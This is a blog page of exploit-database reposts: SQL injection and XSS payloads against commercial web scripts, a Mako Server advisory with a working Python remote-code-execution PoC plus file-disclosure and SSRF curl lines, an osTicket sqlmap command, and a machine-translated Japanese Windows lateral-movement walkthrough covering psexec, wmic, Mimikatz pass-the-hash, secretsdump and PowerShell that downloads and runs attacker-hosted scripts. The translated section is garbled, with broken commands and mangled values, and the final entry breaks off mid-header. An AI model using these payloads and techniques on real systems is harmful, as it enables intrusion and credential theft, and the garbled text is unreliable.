Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863540882

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# # # # # 
# Exploit Title: ICSurvey- Survey Creating Script 1.1 - SQL Injection
# Dork: N/A
# Date: 13.09.2017
# Vendor Homepage: http://www.icloudcenter.com/
# Software Link: http://www.icloudcenter.com/survey-creating-script.htm
# Demo: http://icloudcenter.net/demos/icsurvey/
# Version: 1.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/index.php?page=static_page&key=[SQL]
# 
# http://localhost/[PATH]/survey.php?page=preview&test=[SQL]
# 
# Etc..
# # # # #
            
# # # # # 
# Exploit Title: Jewelry Store Site Script 1.1 - SQL Injection
# Dork: N/A
# Date: 13.09.2017
# Vendor Homepage: http://www.icloudcenter.com/
# Software Link: http://www.icloudcenter.com/jewelry-site-script.htm
# Demo: http://icloudcenter.net/demos/icjewelry/
# Version: 1.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/index.php?page=static_pages&key=[SQL]
# 
# Etc..
# # # # #
            

0x00シーン

今回は、「redhook.da」ドメインでアカウントの利用可能な資格情報を取得することです。イントラネットホストを制御するための権限から始めますが、ターゲットドメインコントローラーと同じサブネットにはありません。下の図に示すように:

1049983-20201012143948201-798475802.png

さらに、攻撃者がクライアント1ホストのローカル管理者キャッシュ認証資格情報を取得したと仮定します。一般に、ネットワーク範囲が十分に大きい場合、対応する保存された有効な資格情報は、バッチ、VB、NET、PS1などのスクリプトを介してネットワーク共有にあります。初期アクセスを取得します。この記事では、この攻撃者は、Windowsを横向きに移動する方法と、AVSのバイパスを含まない状況に焦点を当てています。

0x00クライアントホストを攻撃する

1。バッチスクリプトの取得は上記のとおりです。 Clent1(10.0.0.129)ホストのユーザー認証資格情報は、ネットワーク共有のバッチ処理とスクリプトを通じて取得されました。

#\\ fileserver \ users \ bob \ workstations \ errorlog.batのmock contents

@ECHOオフ

ネット使用'\\ 10.0.0.129 \ c $' /user:bob imsosecur3! #Create共有

存在する場合'\\ 10.0.0.129 \ c $ \ program files \ msbuild \ errorlog.txt'(

Echo 'ため息、クライアントのより多くのエラー1!コピー. '

'\\ 10.0.0.129 \ c $ \ program files \ msbuild \ errorlog.txt' c: \ uses \ bob \ logs \ client1 \

del '\\ 10.0.0.129 \ c $ \ program files \ msbuild \ errorlog.txt'

) それ以外(

echo 'yaay、クライアントに新しいエラーはありません!'

))

正味使用'\\ 10.0.0.129 \ c $' /delete

バッチスクリプトを介して指定されたIPのNetBIOS情報をすばやく取得します。

NBTSCAN -VH 10.0.0.129

または

NBTSTAT -A 10.0.0.129

1049983-20201012143948729-1907007498.jpg

コマンドnbtstat -a ipを使用して同じ操作を実行することもできます。ホスト名win7-ent-cli1を取得することができ、それはredhookドメインに接続されています

2.PsexecはMetasploitのPSEXECを使用します。これにより、Kaliのクライアント1ホストのリバウンドシェルを簡単に取得できます。ボブはドメインアカウントではなくローカルアカウントであることに注意してください。したがって、SMBDomainパラメーターは使用されません。

msfuse exploit/winodws/smb/psexec

MSFSET RHOST 10.0.0.129

MSFSET SMBUSER BOB

msfset smbpass imsosecur3!

msfshowオプション

msfexploit

1049983-20201012143949223-1768103760.png

ここでは、RemComSVCを使用してPSEXECをシミュレートするImpacketパッケージのPsexecを使用することもできます。ここでの利点は、明確な卒業証書が得られない場合、ハッシュパスを受け入れることができることです。

python psexec.py bob:imsosecur3!@10.0.0.0.129 cmd

1049983-20201012143949787-910686673.png

Windowsの下のpsexec.exeも水平方向に移動することができ、実行可能ファイルに署名する利点があります。このコマンドに「-s」識別子を追加すると、システムシェルが取得されます。

psexec.exe \\ 10.0.0.129 -u bob -p imsosecur3! CMD

1049983-20201012143950422-1118353263.png

3.WMIは、リモートコマンドツールの実行に関するものです。ここで最も有名なのはWMICツールです。リモートホストでのコマンド実行を可能にするだけでなく、WMIを使用して機密情報を取得し、ホストシステムを再構成します。このツールは、Windowsのコマンドが組み込まれています。

wmic /node:10.0.0.129 /user:bob /password:3360imsososecur3! ComputerSystemリストブリーフ /FORMAT:LIST #REMOTELY COMPUTER情報を取得します

wmic /node:10.0.0.129 /user:bob /password:3360imsososecur3! ComputerSystem usernameを取得#REMOTELYターゲットユーザーアカウント情報許可を取得します

wmic /node:10.0.0.129 /user:bob /password:3360imsososecur3!プロセスコールクレート 'calc.exe' #remote作成プロセス、ここにcalc.exeがあります

wmic /node:10.0.0.129 /user:bob /password:imsososecur3! ComputerSystem Process Name、ProcessID |を取得します検索#REMOTELYプロセスID、名前、およびプロセスを実行する

} 1049983-20201012143950828-66913465.png

4.wmiexecは、インパケットパッケージでWMIEXECツールを使用し、コマンドを実行してコマンド出力を印刷することができます。また、半互換シェルを提供したり、ハッシュを通したりすることができます。

python wmiexec.py bob:imsososecur3!@10.0.0.129ルートプリント-4 10.*

1049983-20201012143951357-1913063964.png

PowersploitzのInvoke-Wmicommandは、PscRedentialオブジェクトの使用により、より多くのメモリを占有しますが、コマンドの印刷とスクリプトのメモリストレージの場所を取得できます。

1049983-20201012143951938-1370830872.png

5。Pass-The-Hash(WCEおよびMimikatz)時々、ターゲットホストコマンドウィンドウが取得されると、ターゲットホストユーザーのNTLMハッシュ値は取得でき、プレーンテキストパスワードは取得できません。この場合、MetaSploit(PSEXEC)またはImpackを使用できます。環境がローカルウィンドウ環境に限定されている場合、WCEまたはMimikatzを使用してNTLMハッシュをプロセスに注入できます。

おっと

正味使用\\ 10.0.0.129 \ admin $#ターゲット共有は取得できません。ユーザー名とパスワードはここで必要です

wce.exe -s bob:3360AAD3B435B1404EEAAD3B435B51404E:F6C0FA29F4CAD745AD04BED1D00A7C82 #REMOTE WCE.EXE

正味使用\\ 10.0.0.129 \ admin $

dir \\ 10.0.0.129 \ admin $

1049983-20201012143952406-1738653105.png

欠点は、WCEがエラーアラーム情報を表示することです!PowerShellを使用して、Mimikatzをメモリに直接ロードできます!ただし、この場合、コンパイルされたバイナリファイルmimikatz.exeを使用することをお勧めします。

正味使用\\ 10.0.0.129 \ $ admin

Miminatz.exe

mimikatz#sekurlsa:pth /user:bob /domain: /NTLM:F6C0FA29F4CAD745AD04BED1D00A7C82 #MMIKATモジュールPTH

おっと

正味使用\\ 10.0.0.129 \ $ admin

1049983-20201012143952894-1915756352.png

この場合、フィールドはすべて「。」に設定されていることに注意してください。これは、ボブがローカルアカウントだからです。

0x02拠点01

を確立します

1.MetasPloit(MimikatzとHashdump)は、Mimikatzを使用して、アクティブセッションのユーザー資格情報を取得し、Hashdumpを取得して、現在ログインしていないローカルアカウントのハッシュを取得します。

MeterPreterload Mimikatz #load Mimikatzモジュール

MeterPrtertSPKG #Enhanceシステム許可

MeterPrterMSVV#現在アクティブなセッション資格情報を取得します

MeterPrterHashdump#ローカルホストアカウントのすべてのハッシュ値を取得します

1049983-20201012143953491-2109071315.png

2。SecretSdumpとInvoke-Mimikatzは、PowersploitのImpackのSecretSdumpおよびInvoke-Mimikatzにも使用できます。この場合、Invoke-Mimikatzは攻撃者のWebサーバーでホストされています。

python secretsdump.py bob:imsosecur3!@10.0.0.129

python psexec.py bob:imsosecur3!@10.0.0.0.129 cmd

Powershell -exec Bypass -command 'iex(new-Object System.net.webclient).dowloadstring(' http://10.0.0.129/invoke-mimikatz.ps1 '); Invoke-Mimikatz' '

Mimiatz(Powershell)#Sekurlsa:logonpasswords

1049983-20201012143954299-46010124.png

もちろん、この問題を解決する他の方法はありますが、これらが主なアプローチであると考えています。

0x03情報収集

Redhookドメインのホストにアクセスできるようになりました。これは別のサブネットにも接続されています。

1。トークンの買収。これで、Redhookドメインにマシンがあり、異なるサブネットに接続できます。今、私たちは情報を収集し始めます。

ドメイン情報を照会するには、ドメインユーザーが必要です。現在のBOBユーザーはドメインユーザーまたはシステムの許可ではありませんが、使用できます

ntquerysysteminformation他のユーザーのトークンを発見し、ログインをシミュレートします。

MeterPreterにはこのプラグインがあり、プロセスが非常にシンプルになります。

MeterPrtergetUid

meterpterlist_tokens -u

meterprterimpersonate_token redhook \\ asenath.waite

MeterPrtershell

誰が

1049983-20201012143955121-1187620161.png

また、リモートで使用できるPSEXECのような機能を備えたツールであるLuke JenningsのIncognitoを使用することもできます。

Incognito.exe -H 10.0.0.129 -U bob -p imsosecur3! list_tokens -u

Incognito.exe -H 10.0.0.129 -U bob -p imsosecur3! -c redhook \ asenath.waite cmd.exeを実行します

1049983-20201012143955732-470727192.png

最後に、PowerSploitのInvoke-TokenManipulationがあります。ただし、現在の状態では、必要な機能を実際に取得できないため、使用することはお勧めしません。

2。ドメイン情報収集。現在、ターゲットドメインホストのシェルが取得されており、最大の結果を得るには、いくつかの情報収集を実行する必要があります。

c: \ windows \ system32 whoami redhook \ asenath.waite

c: \ windows \ system32 hostnamewin7-ent-cli1

c: \ windows \ system32 ipconfig

Windows IP構成

イーサネットアダプターローカルエリア接続2:

接続固有のDNS接尾辞。 LocalDomain Link-Local IPv6アドレス。 FE80:3360A1BA:A1AB:170C:7916%17 IPv4アドレス。 。 10.0.0.129#攻撃者のサブネットサブネットマスク。 。 255.255.255.0デフォルトゲートウェイ。 。

イーサネットアダプターBluetoothネットワークConnection:

メディア状態。 。メディアが接続された接続固有のDNSサフィックス。

イーサネットアダプターローカルエリアConnection:

接続固有のDNS接尾辞。 Link-Local IPv6アドレス。 FE80:33605DDC:1E6336017E9:9E15%11 IPv4アドレス。 。 10.1.1.2#redhookサブネットサブネットマスク。 。 255.255.255.0デフォルトゲートウェイ。 。 10.1.1.1

トンネルアダプターISATAP。{8D0466B5-1F88-480C-A42D-49A871635C9A} :

メディア状態。 。メディアが接続された接続固有のDNSサフィックス。

トンネルアダプターiSatap.localdomain:

メディア状態。 。メディアが接続された接続固有のDNSサフィックス。 LocalDomain

トンネルアダプターISATAP。{5CBBE015-1E1C-4926-8025-EBB59E470186} :

メディア状態。 。メディアが接続された接続固有のDNSサフィックス。

#非常に小さなネットワーク、3人のホスト、私たちが妥協したばかりのホストを含む。

-------------------------------------------------------------------------------\\REDRUM-DC red.dc\\WIN7-ENT-CLI1\\WIN7-ENT-CLI2

コマンドは正常に完了しました。

#dcユーザーが認証されているtoc: \ windows \ system32 echo%logonserver%\\ redrum-dc

c: \ windows \ system32 ping -n 1 redrum -dc

ping redrum-dc.redhook.local [10.1.1.200]は、10.1.1.1.1.1.1.1.200:=32 time1ms ttl=128から32バイトのdata:Reply

10.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1:送信=1、受信=1、失われた=0(0%損失)、約100万秒の往復時間3:最小=0ms、最大=0ms、平均=0ms

#ローカルユーザーのリスト\ windows \ system32ネットユーザー

ユーザーは\\ win7-ent-cli1を説明します

-----------------------------------------------------------------------------------管理者Bob guestTemplateAdmin

コマンドは正常に完了しました。

#redhookドメインユーザーをリストします

C: \ Windows \ System32ネットユーザー /ドメイン

リクエストは、domain redhook.localのドメインコントローラーで処理されます。

\\ redrum-dc.redhook.localをユーザーアカウント

---------------------------------------------------------------------------------------------------------------------------------------------------------------- GuestJohn.smith Krbtgt Redhook.Darobert.Suydam Wilbur.Whateley

コマンドは正常に完了しました。

#powersploit=invoke-enumeratelatelocaladmin:ネットワーク内のボックスにあるローカル管理者であるすべてのユーザーを見つけます。

c: \ windows \ system32 powershell -exec bypass -command 'iex(new -object system.net.webclient).downloadstring(' http://10.0.0.0.128/powerview.ps1 '); invoke -enumeratelocaladm

# # # # # 
# Exploit Title: Custom T-Shirt WebStore Script 1.2 - SQL Injection
# Dork: N/A
# Date: 13.09.2017
# Vendor Homepage: http://www.icloudcenter.com/
# Software Link: http://www.icloudcenter.com/t-shirt.htm
# Demo: http://icloudcenter.net/demos/ictshirt/
# Version: 1.2
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/index.php?page=static_pages&key=[SQL]
# 
# Etc..
# # # # #
            
# # # # # 
# Exploit Title: Customized Products Shopping Script 1.1 - SQL Injection
# Dork: N/A
# Date: 13.09.2017
# Vendor Homepage: http://www.icloudcenter.com/
# Software Link: http://www.icloudcenter.com/bpProductConfigurator.htm
# Demo: http://icloudcenter.net/demos/icproductconfigurator/
# Version: 1.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/index.php?page=static_pages&key=[SQL]
# 
# Etc..
# # # # #
            
# # # # # 
# Exploit Title: Grocery Store Supermarket Script 1.1 - SQL Injection
# Dork: N/A
# Date: 13.09.2017
# Vendor Homepage: http://www.icloudcenter.com/
# Software Link: http://www.icloudcenter.com/grocery-store-supermarket-script.htm
# Demo: http://icloudcenter.net/demos/icgrocery/
# Version: 1.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/index.php?page=static_pages&key=[SQL]
# 
# Etc..
# # # # #
            
[+] SSD Beyond Security: https://blogs.securiteam.com/index.php/archives/3391
[+] Credits: John Page a.k.a hyp3rlinx	
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/MAKO-WEB-SERVER-MULTIPLE-UNAUTHENTICATED-VULNERABILIITIES-SECURITEAM.txt
[+] ISR: ApparitionSec            


Vulnerabilities Summary
The following advisory describe three (3) vulnerabilities found in Mako Server’s tutorial page.

The vulnerabilities found are:

Unauthenticated Arbitrary File Write vulnerability that leads to Remote Command Execution
Unauthenticated File Disclosure
Unauthenticated Server Side Request Forgery
As these tutorial may be used as the basis for production code, it is important for users to be aware of these issues.

“As a compact application and web server, the Mako Server helps developers rapidly design secure IoT and web applications. The Mako Server provides
an application server environment from which developers can design and implement complete, custom solutions. The Mako Web Server is ideal for embedded Linux systems.”

Credit
An independent security researcher, John Page AKA hyp3rlinx, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program

Vendor response

RealTimeLogic was informed of the vulnerability on Aug 13, but while acknowledging the receipt of the vulnerability information, refused to respond to the
technical claims, to give a fix timeline or coordinate an advisory, saying:

“I just sent a formal notification for the commercial license requirement and also we need to put a maintenance contract in place.
Internally I need to set-up a cost allocation account for billing against these support inquiries.”

At this time it’s unclear whether these vulnerabilities are going to be fixed and further attempts to get a status clarification failed.


Vulnerabilities details

Unauthenticated Arbitrary File Write vulnerability that leads to Remote Command Execution:

Mako web-server tutorial does not sufficiently sanitizing the HTTP PUT requests, when an attacker send HTTP PUT request to ‘save.lsp‘ web page, the input passed
to a function responsible for accessing the filesystem.

The attacker input will be saved on the victims machine and can be execute by sending HTTP GET request to ‘manage.lsp‘


HTTP PUT  'http://VICTIM-IP/examples/save.lsp?ex=2.1'
HTTP GET  'http://VICTIM-IP/examples/manage.lsp?execute=true&ex=2.1&type=lua'


Proof of Concept


import urllib2,time

#MakoServer v2.5 Remote Command Execution 0day
#Credits: John Page AKA hyp3rlinx
#=========================================

print  'MakoServer v2.5 Remote Command Execution'

CMD="os.execute('c:/Windows/system32/calc.exe')"

opener = urllib2.build_opener(urllib2.HTTPHandler)
request = urllib2.Request('http://IP/examples/save.lsp?ex=2.1', data=CMD)
request.add_header('Content-Type', 'text/plain;charset=UTF-8')
request.add_header('X-Requested-With', 'XMLHttpRequest')
request.add_header('Referer', 'http://localhost/Lua-Types.lsp')
request.get_method = lambda: 'PUT'
opener.open(request)

time.sleep(1)

urllib2.urlopen('http://IP/examples/manage.lsp?execute=true&ex=2.1&type=lua')



Unauthenticated File Disclosure

Mako web-server tutorial is not sufficiently sanitizing GET requests, when an attacker send GET request to the URI IP/fs/../.., the input passed
without modification and the response with the file content is returned.

Proof of Concept
The following GET request will response with the C/Windows/system.ini content:

curl -v http://VICTIM-IP/fs/C/Windows/system.ini

* About to connect() to VICTIM-IP port 80
*   Trying VICTIM-IP... connected
* Connected to VICTIM-IP (VICTIM-IP) port 80
> GET /fs/C/Windows/system.ini HTTP/1.1
> User-Agent: curl/7.15.5 (x86_64-redhat-linux-gnu) libcurl/7.15.5 OpenSSL/0.9.8b zlib/1.2.3 libidn/0.6.5
> Host: VICTIM-IP
> Accept: */*
>
< HTTP/1.1 200 OK
< Date: Mon, 07 Aug 2017 22:21:27 GMT
< Server: MakoServer.net
< Content-Type: application/octet-stream
< Accept-Ranges: bytes
< Etag: 58b4be20
< Last-Modified: Tue, 28 Feb 2017 00:02:40 GMT
< Content-Length: 219
< Keep-Alive: Keep-Alive
; for 16-bit app support
[386Enh]
woafont=dosapp.fon
EGA80WOA.FON=EGA80WOA.FON
EGA40WOA.FON=EGA40WOA.FON
CGA80WOA.FON=CGA80WOA.FON
CGA40WOA.FON=CGA40WOA.FON

[drivers]
wave=mmdrv.dll
timer=timer.drv

[mci]


Server Side Request Forgery

Mako web-server tutorial is not sufficiently sanitizing incoming POST requests, when an attacker sends an POST request to the ‘rtl/appmgr/new-application.lsp‘
URI, the input will be executed and the server will connect to the attacker’s machine.

Proof of Concept
Start Wireshark to see successful connections made from Mako Web Server victim machine.

Initiate requests from another machine using CURL:

curl -v -X POST http://VICTIM-IP/rtl/appmgr/new-application.lsp -d io=net -d path=http://EXTERNAL-IP



Network Access:
===============
Remote



Severity:
=========
High



Disclosure Timeline:
====================
Would like to acknowledge Beyond Security’s SSD program for the help with co-ordination of this vulnerability.
More details can be found on their blog at:

https://blogs.securiteam.com/index.php/archives/3391



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx
            
# # # # # 
# Exploit Title: PHP Dashboards NEW 4.4 - Arbitrary File Read
# Dork: N/A
# Date: 11.09.2017
# Vendor Homepage: http://dataninja.biz/
# Software Link: https://codecanyon.net/item/php-dashboards-v40-collaborative-social-dashboards/19314871
# Demo: http://phpdashboardv4.dataninja.biz/
# Version: 4.4
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to arbitrary file read.
# 
# Proof of Concept:
# 
# 1
# http://localhost/[PATH]/php/file/read.php?filename=[FILE]
# 
# 2
# http://localhost/[PATH]/php/file/readxls.php?filename=[FILE]
# http://localhost/[PATH]/php/file/PHPReader/temp/[.......].xls
# 
# Etc..
# # # # #
            
# # # # # 
# Exploit Title: PHP Dashboards NEW 4.4 - SQL Injection
# Dork: N/A
# Date: 11.09.2017
# Vendor Homepage: http://dataninja.biz/
# Software Link: https://codecanyon.net/item/php-dashboards-v40-collaborative-social-dashboards/19314871
# Demo: http://phpdashboardv4.dataninja.biz/
# Version: 4.4
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept:
# 
# http://localhost/[PATH]/php/share/save.php?dashID=[SQL]
# 
# http://localhost/[PATH]/php/save/db.php?dashID=[SQL]
# 
# Etc..
# # # # #
            
# Exploit Title: iTech Book Store Script v2.02 - SQL Injection / Reflected XSS
# Date: 2017-09-11
# Exploit Author: 8bitsec
# Vendor Homepage: http://itechscripts.com/
# Software Link: http://itechscripts.com/book-store-script
# Version: 2.02
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec

Release Date:
=============
2017-09-11

Product & Service Introduction:
===============================
This is a robust platform for the booksellers and bookshop owners.

Technical Details & Description:
================================

SQL injection on [id] parameter.

Reflected XSS on [id] parameter

Proof of Concept (PoC):
=======================

SQLi:

http://localhost/[path]/book_details.php?id=[SQLi]

Parameter: id (GET)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: id=2 AND SLEEP(5)-- uUqP

    Type: UNION query
    Title: Generic UNION query (NULL) - 1 column
    Payload: id=-7869 UNION ALL SELECT CONCAT(0x7170717071,0x546c4d4e535a5262584f446466626e67625656687561614b687764535a6c574a4b64454666564173,0x71766b7671)-- PYKD

Reflected XSS:

http://localhost/[path]/book_details.php?id=%3C/scRipt/--!%3E\x3csVg/%3CsVg/oNloAd=alert(document.domain)//%3E\x3e

==================
8bitsec - [https://twitter.com/_8bitsec]
            
# Exploit Title: JobStar Monster Clone Script v1.0 - SQL Injection
# Date: 2017-09-11
# Exploit Author: 8bitsec
# Vendor Homepage: https://www.abservetech.com/
# Software Link: https://www.abservetech.com/jobstar-monster-clone/
# Version: 1.0
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec

Release Date:
=============
2017-09-11

Product & Service Introduction:
===============================
JobStar is a Monster Clone that enables you to build your own Online Job Portal website in a "few hours" and become fully operational in just a day.

Technical Details & Description:
================================

Blind SQL injection on [id] parameter.

Proof of Concept (PoC):
=======================

http://localhost.com/[path]/jobdetailshow?id=19 and 1=1

Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=19 and 4297=4297

==================
8bitsec - [https://twitter.com/_8bitsec]
            
# Exploit Title: iTech StockPhoto Script v2.02 - SQL Injection
# Date: 2017-09-11
# Exploit Author: 8bitsec
# Vendor Homepage: http://itechscripts.com/
# Software Link: http://itechscripts.com/stockphoto-script
# Version: 2.02
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec

Release Date:
=============
2017-09-11

Product & Service Introduction:
===============================
This is a versatile script to help you launch a stock photo website like Sutterstock.

Technical Details & Description:
================================

Blind SQL injection on [stock] POST parameter.

Proof of Concept (PoC):
=======================

The parameter is sent when downloading an image.

Parameter: stock (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: stock=19 AND 9771=9771

==================
8bitsec - [https://twitter.com/_8bitsec]
            
# Exploit Title: AirStar Airbnb Clone Script v1.0 - SQL Injection
# Date: 2017-09-11
# Exploit Author: 8bitsec
# Vendor Homepage: https://www.abservetech.com/
# Software Link: https://www.abservetech.com/airstar-airbnb-clone/
# Version: 1.0
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec

Release Date:
=============
2017-09-11

Product & Service Introduction:
===============================
AirStar Airbnb Clone Script

Technical Details & Description:
================================

Blind SQL injection on [room_id] parameter.

Proof of Concept (PoC):
=======================

http://localhost/[path]/airstar/hotel/roomsedit/detailedroom/6 AND 8995=8995?mem_count=1&check_in=&check_out=&search_city=Madurai,India&min_amt=10&max_amt=150&inout=0

Parameter: #1 (URI)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause

==================
8bitsec - [https://twitter.com/_8bitsec]
            
# Exploit Title: EduStar Udemy Clone Script v1.0 - SQL Injection
# Date: 2017-09-11
# Exploit Author: 8bitsec
# Vendor Homepage: https://www.abservetech.com/
# Software Link: https://www.abservetech.com/edustar-udemy-clone/
# Version: 1.0
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec

Release Date:
=============
2017-09-11

Product & Service Introduction:
===============================
EduStar Udemy Clone Script

Technical Details & Description:
================================

Blind SQL injection on [course_id] parameter.

Proof of Concept (PoC):
=======================

http://localhost/[path]/courses/details?course_id=105 and 1=1

Parameter: course_id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: course_id=105 AND 4868=4868

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: course_id=105 AND SLEEP(5)

==================
8bitsec - [https://twitter.com/_8bitsec]
            
1. ADVISORY INFORMATION
========================================
Title: osTicket v1.10 Unauthenticated SQL Injection
Application: osTicket
Bugs:  SQL Injection
Class: Sensitive Information disclosure
Remotely Exploitable: Yes
Authentication Required: NO
Versions Affected: <= v1.10
Technology: PHP
Vendor URL: http://osticket.com/
CVSSv3 Score: 10.0 (/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
Date of found: 12 Sep 2017
Author: Mehmet Ince
Advisory:
https://pentest.blog/advisory-osticket-v1-10-unauthenticated-sql-injection/

2. CREDIT
========================================
This vulnerability was identified during penetration test
by Mehmet INCE from PRODAFT / INVICTUS

3. VERSIONS AFFECTED
========================================
osTicket < 1.10

5. Technical Details & POC
========================================
Please visit an advisory URL for technical details.

PoC code:
python sqlmap.py -u "
http://target/file.php?key[id%60%3D1*%23]=1&signature=1&expires=15104725311" --dbms MySQL

6. RISK
========================================
The vulnerability allows remote attackers to execute a sql query on
database system.

7. REFERENCES
========================================
https://pentest.blog/advisory-osticket-v1-10-unauthenticated-sql-injection/
            
# # # # # 
# Exploit Title: Gr8 Multiple Search Engine Script 1.0 - SQL Injection
# Dork: N/A
# Date: 12.09.2017
# Vendor Homepage: http://www.gr8script.com/
# Software Link: http://www.gr8script.com/multiple_search_script.php
# Demo: http://www.gr8script.com/multiple_search/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept:
# 
# http://localhost/[PATH]/X[SQL]/X.html
# 
# Etc..
# # # # #
            
# # # # # 
# Exploit Title: FoodStar Swiggy Clone Script 1.0 - SQL Injection
# Dork: N/A
# Date: 12.09.2017
# Vendor Homepage: https://www.abservetech.com/
# Software Link: https://www.abservetech.com/foodstar-swiggy-clone/
# Demo: http://abservetechdemo.com/products/foodstar/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept:
# 
# http://localhost/[PATH]/public/frontend/search?keyword=[SQL]
# 
# Etc..
# # # # #
            
# # # # # 
# Exploit Title: inClick Cloud Server 5.0 - SQL Injection
# Dork: N/A
# Date: 12.09.2017
# Vendor Homepage: http://www.inclick.net/
# Software Link: http://www.inclick.net/pageid/demo.html
# Demo: http://www.inclick.net/pageid/demo.html
# Version: 5.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an publisher to inject sql commands....
# 
# Proof of Concept:
# 
# http://localhost/[PATH]/client.php?pageid=sites&subpid=modify&site_id=[SQL]
# 
# 1-1++/*!00008UniOn*/+/*!00008sEleCT*/+0x283129,0x283229,0x283329,0x283429,(Select+export_set(5,@:=0,(select+count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2)),0x283629,0x283729,0x283829,0x283929,0x28313029,0x28313129--+-
# 
# Etc..
# # # # #
            
# -*- coding: utf-8 -*-
"""
Jungo DriverWizard WinDriver Kernel Pool Overflow Vulnerability

Download: http://www.jungo.com/st/products/windriver/
File:     WD1240.EXE
Sha1:     3527cc974ec885166f0d96f6aedc8e542bb66cba
Driver:   windrvr1240.sys
Sha1:     0f212075d86ef7e859c1941f8e5b9e7a6f2558ad
CVE:      CVE-2017-14344
Author:   Steven Seeley (mr_me) of Source Incite
Affected: <= v12.4.0
Thanks:   @dronesec & @FuzzySec !

Summary:
========

This vulnerability allows local attackers to escalate privileges on vulnerable installations of Jungo WinDriver. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. 

The specific flaw exists within the processing of IOCTL 0x95382673 by the windrvr1240 kernel driver. The issue lies in the failure to properly validate user-supplied data which can result in a kernel pool overflow. An attacker can leverage this vulnerability to execute arbitrary code under the context of kernel.

Timeline:
=========

